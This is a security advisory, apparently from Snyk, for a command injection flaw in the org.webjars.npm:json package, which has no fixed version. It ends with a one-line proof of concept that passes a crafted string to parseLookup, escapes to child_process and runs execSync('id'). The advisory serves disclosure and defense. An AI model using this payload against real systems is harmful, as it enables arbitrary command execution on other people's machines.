Command Injection Affecting org.webjars.npm:json package, versions [0,]


0.0
high
  • Exploit Maturity

    Proof of concept

  • Attack Complexity

    Low

  • Privileges Required

    High

  • Confidentiality

    High

  • Integrity

    High

  • Availability

    High

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  • snyk-id

    SNYK-JAVA-ORGWEBJARSNPM-608931

  • published

    30 Aug 2020

  • disclosed

    6 Aug 2020

  • credit

    po6ix

How to fix?

There is no fixed version for org.webjars.npm:json.

Overview

org.webjars.npm:json is an a 'json' command for massaging and processing JSON on the command line

Affected versions of this package are vulnerable to Command Injection. It is possible to inject arbritary commands using the parseLookup function.

PoC

const json = require('json');

res = json.parseLookup('{[this.constructor.constructor("return process")().mainModule.require("child_process").execSync("id").toString()]}'); console.log(res);

References